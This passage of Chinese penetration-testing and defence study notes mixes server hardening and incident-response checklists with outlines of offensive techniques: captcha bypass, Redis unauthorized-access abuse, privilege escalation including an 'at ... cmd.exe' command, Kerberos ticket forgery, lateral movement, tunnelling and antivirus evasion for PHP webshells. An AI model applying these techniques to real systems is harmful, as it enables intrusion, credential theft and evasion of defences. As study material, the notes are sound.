HTTP响应中包含特定的响应内容,如“JNDI lookup successful”等

Struct2

S2-053

漏洞原理:
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成了一个OGNL表达式,被OGNL解析第二次,导致任意命令执行漏洞。

特征:请求头**包含 %{}**,请求体和响应体都包含 payload。

SSH加固

防火墙

堡垒机

堡垒主是专门设计用于阻止来自网络的恶意流量和攻击的安全网关。堡垒在公共网络上公开的安全代理和审计服务,通过堡垒机和限制和审计用户操作,记录用户操作,可以对可疑操作进行告警或者直接阻断从而减少对主机威胁。当两个通道建立SSH连接时,设置堡垒主机可能有助于提高安全性并保护系统。

修改默认SSH设置

1.更改默认22端口 修改/etc/ssh/sshd_config文件

2.禁用root登录

安全加固

1.口令复杂度策略

​ 口令长度至少8位,并包括数字、小写字母、大写字母和特殊符号

2.多次登录失败锁定策略

​ 系统应配置当用户连续认证失败次数超过5次,锁定该用户使用的账号

3.多余账户锁定策略

应锁定与设备运行、维护等工作无关的账号。

4.关键目录权限控制

根据安全需要,配置某些关键目录其所需的最小权限;

5.日志文件权限

只能追加数据,不能删除日志文件

6.防止SQL注入及远程包含

SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,所以一定要小心。

php.ini中有一个设置:

1
magic_quotes_gpc = Off	改为     magic_quotes_gpc = On

在远程文件包含漏洞中,攻击者可以通过访问外部地址来加载远程代码,所以一定要设置:

1
allow_url_fopen = off

7.不使用默认密码和弱口令

检查各个组件或者数据库等的默认密码和弱口令,口令长度至少8位,并包括数字、小写字母、大写字母和特殊符号四类中至少两种

8.禁止远程连接数据库

使用命令netstat 查看默认的3306端口是打开的,此时打开了mysql的网络监听,允许用户远程通过帐号密码连接数本地据库,默认情况是允许远程连接数据的。为了禁止该功能,启动skip-networking,不监听sql的任何TCP/IP的连接,切断远程访问的权利,保证安全性。

1
vi /etc/my.cf       #将#skip-networking注释去掉

9.对重要数据加密存储

10.修改网站的某些默认端口

内存马排查

1
2
3
4
5
6
7
8
9
10
11
12
13
作为应急或者运维人员,当遇到疑似内存马的安全事件时,该如何去快速确认内存马是否存在以及确认内存马的位置呢?大体思路如下

先查看检查服务器web日志,查看是否有可疑的web访问日志,比如说filter或者listener类型的内存马,会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的请求。

如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

查看是否有类似哥斯拉、冰蝎特征的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。

通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。

查杀工具
java-memshell-scanner

进程排查思路

进程排查思路(火绒剑都可查看到)

  • 没有签名验证信息的进程
  • 没有描述信息的进程
  • 进程的启动用户
  • 进程的路径是否合法
  • CPU或内存资源占用长时间过高的进程

登陆框可能存在的漏洞

  1. 首先看一下有没有对应的cms,如果是,则可以查一下该cms的历史漏洞

  2. 看登陆框是否可以进行用户名爆破

  3. 看有没有验证码,如果有,试试能不能绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
一、前端验证验证码,并没有后端验证。直接抓包然后进行跑数据包,反正有没有验证码的阻碍

二、验证码设置了但是并没有效验,乱输验证码也能够成功的登录(估计老板没给开发工资吧)

三、验证码可重复使用,如果验证码认证成功后没有将session及时清空,将会导致验证码首次认证成功之后可重复使用。
实例: https://blog.csdn.net/
四、空验证码绕过,验证码空值绕过,可以通过直接删除验证码参数或者Cookie中的值来绕过判断,进行暴力破解。

五、验证码干扰过低,轻松使用脚本识别 https://blog.csdn.net/y0nghum1ng/

六:验证码会在HTML页面输出。 https://blog.csdn.net/weixin_45606067/

七、验证码可控制,比如他的验证码包含在URL里面,是一个URL传参,我们可以把URL设置定,那么验证码则可控制

八、验证码有规则,比如是时间戳的后6位(rand函数进行随机数)

九、有万能验证码,验证码无论是什么,只要输入000000就能直接绕过

十、验证码有的时候会藏在cookie里面,分析一下是不是存在验证码的参数

十一、图片验证码,自动识别 http://weikeu.com/archives/
  1. 登录框处看看是否存在sql注入

  2. 是否存在弱口令或者万能密码

  3. 看看有没有注册或者找回密码功能,测试这两个功能的漏洞

  4. 还可以通过查看响应包,看看修改响应包的值能不能达到绕过检测的目的

HTTP字段

1
2
3
4
5
6
7
8
9
10
11
12
13
Host:ip 指定主机名称 

Accept:表示客户端期望服务器返回的媒体格式。

Content-Length:响应体的长度

Content-Type:内容的类型,text/html,xml等 Server:服务器的信息


Connection:当客户端和服务器需要协商连接的属性时,可以使用Connection头部。比较常用的一个值是close,用来通知对方在当前请求结束后关闭连接。

Referer:Referer是非常常用的头,它表示请求的发起来源URI,也就是当前页面资源的父页面。

X-Forwarded-For:是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址,但是这个IP却未必是真实的,

挖矿木马排查

确定挖矿进程

  1. 可以使用命令直接筛选出占用CPU过高的可疑进程。
  2. 部分挖矿进程的名字由不规则数字和字母组成,可直接看出,如ddg的qW3xT.4或zigw
  3. 进程会修改进程名为常见名称,干扰运维人员,这种伪装方法比较简单(比如利用XHide修改进程名或直接修改可执行文件名),所以排查过程中也要关注所有占用CPU较高的可疑进程。

如果确定了可疑进程,可以使用查看进程打开的文件,或查看指向的文件。

如果挖矿木马有隐藏进程的功能,那么很难直接从top中确定可疑进程名。这时,可从以下几方面进行排查:

  1. 是否替换了系统命令

使用查看系统命令是否被替换,如果系统命令已经被替换,可直接从纯净系统拷贝ps,top,等命令到受感染主机上使用。

  1. 是否修改了动态链接库

如果找不到占用CPU较高的进程,可考虑排查是否修改了动态链接库,使用或命令查看是否有预加载的动态链接库文件。

查看挖矿进程所属用户

一般挖矿进程为自动化攻击脚本,所以很少有提权的过程,那么很大可能挖矿进程所属用户即为攻击进入系统的用户。后续的排查过程可根据此寻找攻击者的入侵途径。

查看用户进程

确定已失陷用户后,可查询该用户所属其他进程,判断其他进程是否有已知漏洞=

确定原因

排查出挖矿木马后对木马类型进行分析,根据木马的传播特征和传播方式,初步判断本次入侵的原因。然后结合应用日志以及漏洞利用残留文件确定本次攻击是否利用了该漏洞。

清除挖矿木马

  1. 及时隔离主机
  2. 阻断与矿池通讯
  3. 清除定时任务
  4. 清除启动项
1
2
3
4
5
 session:理解为是"会话",代表着服务器和客户端一次会话的过程   当用户打开某个web应用时,便与web服务器产生一次session 服务器使用session把用户的信息临时保存在了服务器上,用户离开网站后session会被销毁。这种用户信息存储方式相对cookie来说更安全,可是session有一个缺陷:如果web服务器做了负载均衡,那么下一个操作请求到了另一台服务器的时候session会丢失。

cookie:保持用户的登录状态,是保存在本地终端的数据。cookie由服务器生成,发送给浏览器,浏览器把cookie以kv形式保存到某个目录下的文本文件内,下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的,所以浏览器加入了一些限制确保cookie不会被恶意使用,同时不会占据太多磁盘空间,所以每个域的cookie数量是有限的。

token:令牌,比如你授权(登录)一个程序时,他就是个依据,判断你是否已经授权该软件

有cdn的网站如何获取真实IP

1
2
3
4
5
6
7
8
9
1. 超级ping  如果ip不一样  说明有cdn

2. nslookup **http://xxx.com** 国外dns

3. 查找域名历史解析记录,因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址

4. 子域名查询 一般子域名没有cdn

5. 邮件服务查询

redis未授权漏洞

1
2
3
4
5
6
条件

1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。

服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

常见的高危端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
21 FTP(文件传输协议)


22 SSH(安全外壳协议)

23 Telnet

53 DNS

135 RPC(远程过程调用)

139:SMB共享 和445windows版本不一样

443:HTTPS端口,心脏滴血等与SSL有关的漏洞

445:SMB服务端口,可能存在永恒之蓝漏洞MS17-010 (tcp)

1433:SQL Server对外提供服务端口

1521:oracle数据库端口

3306:MySQL数据库端口,可能存在 弱口令暴力破解

3389:Windows远程桌面服务,可能存在 弱口令漏洞 或者 CVE-2019-0708 远程桌面漏洞复现

6379:Redis数据库端口,可能存在Redis未授权访问漏洞,传送门:Redis未授权访问漏洞

7001/7002:Weblogic,可能存在Weblogic反序列化漏洞,传送门:Weblogic反序列化漏洞

8080:Tomcat、JBoss,可能存在Tomcat管理页面弱口令Getshell,JBoss未授权访问漏洞,传送门:Tomcat管理弱口令页面Getshell (tcp)
8080-8090:可能存在web服务

挖洞流程

这里瞎写的 实际要看针对的目标,是挖src还是挖cnvd这种

拿到一个主站的域名之后

1.信息搜集

利用oneforall和一些在线子域名爆破网站进行一下子域名的爆破,然后进行去重,再利用fofa等网站探查一下一些站点的指纹和框架。看看有没有一些cms可以利用。 whois反查

2.漏洞测试

根据筛选的站点,有针对性的进行端口探测,目录探测,看看有没有站长留下的一些敏感文件或者压缩包之类的。根据端口的开放情况有针对性的进行漏洞利用检测。

反序列化

java的反序列化,普遍特征:

对于没有回显的情况,查看十六进制

TCP:必有aced0005,这个16进制流基本上也意味者java反序列化的开始;

HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果;

Fastjson

原理也是jdni注入 利用就是构造一个json字符,用@type指定一个类库,流量特征就是json autotype

Jboss

shiro反序列化

漏洞原理:Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值->Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

Shiro反序列化有两种常用的加密模式,分别是CBC和GCM

Shiro

shiro550

加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。

shiro 721

AES 秘钥不在是固定的了,但是此秘钥可以被爆破

流量特征:

  1. 在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,但是可能存在误报,可以尝试使用常见的AES密钥对rememberMe的值进行遍历解密尝试,如果可以成功解密的话再对解密的结果进行常见利用链的关键类名特征检测

  2. 返回的数据包含有多个$$$符号,C参数有base64编码

  3. 返回包中存在base64加密数据,该数据可作为攻击成功的判定条件。

shiro有key无链利用

​ 一般用shiro_tool这一款工具,看看可不可以用JRMPClient来利用。先看JRMPClient是否存在,如果存在。 接下来就在vps上起一个JRMPListener,然后配合shiro_tool尝试

PHP反序列化

image-20230522163000534

常见提权

windows提权

1.mysql UDF提权

UDF提权(利用了root 高权限,创建有cmd函数的udf.dll动态库,导出 那个文件后,就可以框输入 cmd,mof(系统会创建一个临时文件,创建的时候用的是system,把cmd命令放在mof上执行)

提权的前提

  • mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib/plugin文件夹下
  • mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windows\system32目录,在windows server - - 2000下放置在c:winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  • 版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。

利用msf进行UDF提权

使用mysql_udf_payload模块
适应于5.5.9以下

2. 2003 at提权 0点计划任务 执行cmd窗口

1
at 00:00 /interaction cmd.exe

sc提权

3.redis未授权提权

1
2
3
(1).利用计划任务执行命令反弹shell

(2).写ssh-keygen公钥然后使用私钥登录

4.令牌窃取配合烂土豆提权

如果单单用令牌窃取,可能权限太低,无法窃取。例如,如果是web权限(IIS类似的服务权限)

非服务类用户权限无法窃取成功(原理)

过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功

1
2
1.利用msf生成后门,监听端口
2.反弹shell后运行烂土豆进行提权

5. 常用的补丁提权,syteminfo复制系统信息,拿去辅助提权。

LINUX提权

1
2
3
4
1.内核漏洞脏牛提权
2.计划任务提权
3.sudo提权
4.第三方服务提权 比如数据库

内网渗透思路

拿下一台服务器后,可以看到我们不是最高权限,如果不是第一步肯定是要进行权限提升的,

  • 提权

先进行主机信息的收集,查看主机的系统版本,修复的补丁。

1
2
systeminfo
ipconfig /all
  • 内网信息收集
  1. 去找存在的路由信息和内网存活主机 arpscan
  2. 搜集浏览器等软件的信息,方便制作密码本
  3. 本机运行的服务
  4. 端口信息,比如3389这种
  5. 搜集域环境相关信息,比如域内用户、组、域名等。net time /domai 这种会显示域控的名称
  • 口令爆破

  • 凭据窃取

mimikatz等抓取本地密码

  • 横向渗透

ipc–计划任务

  1. 开启了139、445端口 2. admin$共享 3.账户密码 利用PSexec去工具

  2. 计划任务横向 at命令横向 win2003以下 schtasks 2008 at不能用的情况下

PTH 哈希传递攻击 利用ntlm-hash

PTK 密钥传递攻击 利用AES hash

PTT 票据传递攻击 黄金白银票据

利用一些远程桌面工具进行横向

DCOM横向

  • 拿下域控
  1. 通过高权限读取本地密码
  2. server2008有效 MS14068 普通用户提权到域控权限
  3. 窃取域管理员运行的服务的令牌,从而控制整个域。
  • 权限维持
  1. 黄金、白银票据
  2. 计划任务
  3. 启动项后门
  4. WMI配合Powershell实现无文件后门

黄金票据和白银票据

白银票据通常用于攻击域控,黄金票据则用于拿下域控后权限维持,且黄金票据是伪造发票人,而白银票据则是伪造门票。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
黄金票据

黄金票据就是伪造krbtgt用户的TGT票据(krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户),可以通过黄金票据可以登录域内其他用户

利用前提:
1. 拿到域控,适合做权限维持
2. 有krbtgt用户的hash值(aes-hash ntlm-hash等都可以)
3. 目标域名:我这里是rootkit.org
4. 目标域的sid
5. 要模拟的用户账户名称:例如 Administrator

白银票据主要是伪造的 Kerberos Ticket Grant Service (TGS) 票证是获取单独服务帐户的NTML HASH

1. 目标域名:我这里是rootkit.org
2. 目标域的sid:
3. 要模拟的用户账户名称:例如 Administrator
4. 要模拟的用户RID:RID是SID右边的数字,例如管理员是500
5. 服务名称

钻石票据和蓝宝石票据

钻石票证攻击利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
1. 黄金票据与钻石票据区别
充分利用了能够从头开始伪造票据授予票据 (TGT) 的优势,而钻石票据则利用了能够解密和重新加密从域控制器 (DC) 请求的真实 TGT 的优势。

2. 钻石票据的利用思路
使用低权限的用户向域控请求一个普通的 TGT,随后进行解密修改签名和重新加密即可,当然这些事情Rubeus.exe会自动帮我们完成,我们只需要提供信息即可。

3. 利用条件
krbkey
低权限用户user:micle
用户密码password:Admin12345
domain:
dc:
ticketuser://伪造的票据用户名可以任意,不需要域中存在该用户

什么是PAC
PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。说白了就是来验证身份是否有效的。

蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。

他们的区别在于PAC修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。

内网工具

内网穿透

  1. ngrok

它可以将内网中的 HTTP 和 TCP 服务映射到公网上,支持多种操作系统和语言。

  1. frp

frp 是另一款流行的内网穿透工具,与 ngrok 类似,它可以将内网中的 TCP 和 UDP 服务映射到公网上,同时支持多种操作系统和语言。frp 的安装和使用也非常简单,只需要下载对应的客户端进行安装即可。

密码相关

  1. Exchange 密码喷洒
  2. mimikatz
  3. hydra 九头蛇

集成工具

  1. CS
  2. MSF
  3. Fscan 大工具

内网不出网机器上线方法

隧道技术

我们在内网协议被封杀的时候使用隧道技术。

隧道技术是一种在网络中创建私密通道以在不安全或公共网络上安全传输数据的方法。它允许将一种网络协议的数据封装在另一种网络协议的数据包中传输。

隧道就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙与对方进行通信;数据包到达目的地时,将数据包还原,并且将还原后的数据包发送到对应的服务器上。

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

检测协议的方法

  • ICMP协议:ping
  • TCP协议:nc\ncat
  • HTTP协议:curl\wget
  • DNS协议:nslookup\dig

工具

  • ICMP协议:Pingtunnel
  • TCP隧道:
  • HTTP隧道:Neo-reGeorg
  • DNS协议:dnscat2
  • Sockets:FRP + proxifier

代理技术

正向代理、反向代理

正向连接,反向连接。

正向:没做什么规则限制,那就直接正向通过跳板机去连接

反向:入站规则限制,只能通过目标机器反向连接到跳板机,然后上线

网络通信不通的时候使用代理技术

  1. SMB Beacon上线不出网主机

​ (1)该方法通过已有的父Beacon使用SMB协议进行正向连接不出网机器。

​ (2)利用条件:目标开启445端口、有用户名和hash

  1. 正向TCP Beacon
  2. 反向TCP Beacon
  3. HTTP 代理上线 ,goproxy项目做代理

约束委派和非约束委派

非约束委派

​ 在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派

约束委派

由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,在约束委派中的kerberos中,用户同样还是会将TGT发送给相关受委派的服务,但是由于S4U2proxy的影响,对发送给受委派的服务去访问其他服务做了限制,不允许受委派的服务代表用户使用这个TGT去访问任意服务,而是只能访问指定的服务。

免杀

采取shellcode方式,来借助第三方直接加载到内存中、采取调用微软自带来执行Shellcode,利用微软的签名,从而绕过反病毒软件。

一句话木马免杀

1
2
3
4
5
6
7
8
9
10
11
一、assert()
如果过滤了eval,可以使用assert绕过

二、字符串拼接
当过滤了eval、assert两个关键字时,可以用字符串拼接的方式。介绍substr_replace()函数

三、函数
可以利用函数来构造一句话木马

四 base64加解密

负载均衡

负载均衡是在支持应用程序的资源池中平均分配网络流量的一种方法。

为了同时处理数百万用户的流量,使用一些资源服务器,充当不可见的协调者,确保均等使用所有资源服务器。将用户请求分摊到不同的服务器上处理,以提高系统整体的并发处理能力以及可靠性